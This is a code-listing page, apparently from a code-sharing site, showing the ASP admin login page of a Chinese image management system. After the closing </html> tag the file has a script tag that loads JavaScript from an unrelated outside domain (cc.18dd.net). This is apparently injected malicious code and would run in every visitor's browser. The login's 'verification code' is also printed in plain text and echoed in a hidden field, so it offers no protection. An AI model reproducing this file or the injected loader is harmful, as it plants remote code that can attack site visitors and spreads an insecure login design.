login.asp

来自「一款有用的图片管理系统」· ASP 代码 · 共 69 行

ASP
69
字号
<%
 dim s
randomize timer
s=Int((8999)*Rnd +1000)
%>
<html>
<head>
<title>管理员登陆</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="../style/style.css" rel="stylesheet" type="text/css">
<script language=javascript>
  function xxg()
  {
      if (document.form1.user.value==""){
	      alert("您的姓名?")
		  document.form1.user.focus();
		  return false
		    }
	  if (document.form1.password.value==""){
	      alert("您的密码?");
		  document.form1.password.focus();
		  return false
		  }
		  return true
  }
  function reset_form()
  {
   document.form1.user.value="";
   document.form1.password.value="";
   document.form1.s.value="";
   document.form1.user.focus;
  }
</script>
</head>
<body leftmargin="0" topmargin="60" marginwidth="0" marginheight="0" oncontextmenu="return false;" onselectstart="return false;">
<table width="770" height="156" border="0" align="center" cellspacing="0">
  <tr>
    <td align="center"><form name="form1" method="post" action="loginchk.asp" onsubmit="return xxg()">
        <table width="257" border="0" align="center" cellpadding="1" cellspacing="1" height="113" style="border: 1 solid #000000">
          <tr> 
            <td height="23" colspan="2" background="../pic/vip005bg.gif"><div align="center">图片管理登录</div></td>
          </tr>
          <tr> 
            <td align="center" width="71">姓<font color="#FFFFFF">网</font>名:</td>
            <td width="179"> <input type="text" name="user"> </td>
          </tr>
          <tr> 
            <td align="center" width="71">密<font color="#FFFFFF">尽</font>码:</td>
            <td width="179"> <input type="password" name="password"> </td>
          </tr>
          <tr> 
            <td align="center">认证码:</td>
            <td><input name="s" type="text" size="14">
              &nbsp;<b><%=s%></b>
              <input maxlength=20 name="s2" size=12 type=hidden value="<%=s%>"></td>
          </tr>
          <tr> 
            <td align="center">&nbsp; </td>
            <td><input type="submit" name="Submit" value=" 登 陆 ">
              <input type="reset" name="Submit2" value=" 取 消 " style="width: 64px" onClick="reset_form()"></td>
          </tr>
        </table>
</form></td>
  </tr>
</table>
</body>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?